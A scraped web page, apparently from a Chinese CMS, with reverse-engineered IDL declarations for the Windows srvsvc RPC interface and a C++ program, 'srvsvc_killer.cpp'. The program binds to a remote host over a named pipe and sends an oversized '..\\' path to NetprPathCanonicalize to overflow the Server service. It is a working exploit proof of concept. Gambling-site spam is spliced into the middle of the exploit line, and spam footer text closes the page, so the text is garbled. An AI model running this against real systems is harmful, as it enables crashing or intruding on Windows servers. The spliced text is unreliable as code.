/* opcode: 0x25, address: 0x7509FE61 */

long  _NetrShareDelStart (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in] long arg_3,
 [out][context_handle] void ** arg_4
);


/* opcode: 0x26, address: 0x7509653E */

long  _NetrShareDelCommit (
 [in, out][context_handle] void ** arg_1
);


/* opcode: 0x27, address: 0x7509D804 */

long  _NetrpGetFileSecurity (
 [in][unique][string] wchar_t * arg_1,
 [in][unique][string] wchar_t * arg_2,
 [in][string] wchar_t * arg_3,
 [in] long arg_4,
 [out][ref] struct struct_15 ** arg_5
);


/* opcode: 0x28, address: 0x7509D8B7 */

long  _NetrpSetFileSecurity (
 [in][unique][string] wchar_t * arg_1,
 [in][unique][string] wchar_t * arg_2,
 [in][string] wchar_t * arg_3,
 [in] long arg_4,
 [in] struct struct_15 * arg_5
);


/* opcode: 0x29, address: 0x750A0DB9 */

long  _NetrServerTransportAddEx (
 [in][unique][string] wchar_t * arg_1,
 [in] long arg_2,
 [in][switch_is(arg_2)] union union_16 * arg_3
);


/* opcode: 0x2A, address: 0x75093FB9 */

long  _I_NetrServerSetServiceBitsEx (
 [in][unique][string] wchar_t * arg_1,
 [in][unique][string] wchar_t * arg_2,
 [in][unique][string] wchar_t * arg_3,
 [in] long arg_4,
 [in] long arg_5,
 [in] long arg_6
);


/* opcode: 0x2B, address: 0x7509DC5F */

long  _NetrDfsGetVersion (
 [in][unique][string] wchar_t * arg_1,
 [out] long * arg_2
);


/* opcode: 0x2C, address: 0x7509E3EB */

long  _NetrDfsCreateLocalPartition (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in] struct struct_17 * arg_3,
 [in][string] wchar_t * arg_4,
 [in][string] wchar_t * arg_5,
 [in] struct struct_18 * arg_6,
 [in] long arg_7
);


/* opcode: 0x2D, address: 0x7509DC99 */

long  _NetrDfsDeleteLocalPartition (
 [in][unique][string] wchar_t * arg_1,
 [in] struct struct_17 * arg_2,
 [in][string] wchar_t * arg_3
);


/* opcode: 0x2E, address: 0x7509DD49 */

long  _NetrDfsSetLocalVolumeState (
 [in][unique][string] wchar_t * arg_1,
 [in] struct struct_17 * arg_2,
 [in][string] wchar_t * arg_3,
 [in] long arg_4
);


/* opcode: 0x2F, address: 0x7509DDFF */

long  _NetrDfsSetServerInfo (
 [in][unique][string] wchar_t * arg_1,
 [in] struct struct_17 * arg_2,
 [in][string] wchar_t * arg_3
);


/* opcode: 0x30, address: 0x7509DEAF */

long  _NetrDfsCreateExitPoint (
 [in][unique][string] wchar_t * arg_1,
 [in] struct struct_17 * arg_2,
 [in][string] wchar_t * arg_3,
 [in] long arg_4,
 [in] long arg_5,
 [out][size_is(arg_5)] wchar_t * arg_6
);


/* opcode: 0x31, address: 0x7509DF6A */

long  _NetrDfsDeleteExitPoint (
 [in][unique][string] wchar_t * arg_1,
 [in] struct struct_17 * arg_2,
 [in][string] wchar_t * arg_3,
 [in] long arg_4
);


/* opcode: 0x32, address: 0x7509E020 */

long  _NetrDfsModifyPrefix (
 [in][unique][string] wchar_t * arg_1,
 [in] struct struct_17 * arg_2,
 [in][string] wchar_t * arg_3
);


/* opcode: 0x33, address: 0x7509E7E6 */

long  _NetrDfsFixLocalVolume (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in] long arg_3,
 [in] long arg_4,
 [in][string] wchar_t * arg_5,
 [in] struct struct_17 * arg_6,
 [in][string] wchar_t * arg_7,
 [in] struct struct_18 * arg_8,
 [in] long arg_9
);


/* opcode: 0x34, address: 0x7509E0D0 */

long  _NetrDfsManagerReportSiteInfo (
 [in][unique][string] wchar_t * arg_1,
 [in, out][unique] struct struct_19 ** arg_2
);


/* opcode: 0x35, address: 0x750A0E9F */

long  _NetrServerTransportDelEx (
 [in][unique][string] wchar_t * arg_1,
 [in] long arg_2,
 [in][switch_is(arg_2)] union union_1A * arg_3
);

}

srvsvc_killer.cpp

#include
#include "srvsvc.h"
#include

extern "C" PVOID __stdcall MIDL_user_allocate(size_t s) { return malloc(s); }
extern "C" VOID __stdcall MIDL_user_free(PVOID p) { free(p); }

int main(int argc, char **argv)
{
  RPC_STATUS status;
  unsigned char *strBind = 0;
  handle_t handle;

  status = RpcStringBindingComposeA(0, // object uuid
 (RPC_CSTR)"ncacn_np", // protseq
 (RPC_CSTR)argv[1], // net addr
 (RPC_CSTR)argv[2], // endpoint
 0,
 &strBind);
  if (status) { printf("%d\n", status); return status; }

  printf("%s\n", strBind);

  status = RpcBindingFromStringBinding(strBind, &handle);
  if (status) { printf("%d\n", status); return status; }

  RpcTryExcept {
    unsigned char x[1000];
    long q = 1;
//    _NetprPathCanonicalize(handle, L"AAA", L"BBB", x, 1000, L"", &q, 0x100);
365bet开户娱乐    _NetprPathCanonicalize(handle, L"AAA", L".\\\\x\\..\\..\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", x, 1000, L"", &q, 1);
  } RpcExcept(EXCEPTION_EXECUTE_HANDLER) {
    unsigned long code = RpcExceptionCode();
    printf("WAHAHAH %d %08x\n", code, code);
  } RpcEndExcept

  printf("hi\n");
}

365bet平台返利_365bet彩票_澳门365bet录入:admin    责任编辑:admin 
  • 上一篇365bet平台返利_365bet彩票_澳门365bet:

  • 下一篇365bet平台返利_365bet彩票_澳门365bet:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    专 题 栏 目
    最 新 热 门
    最 新 推 荐
    相 关 文 章
    没有相关365bet平台返利_365bet彩票_澳门365bet
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)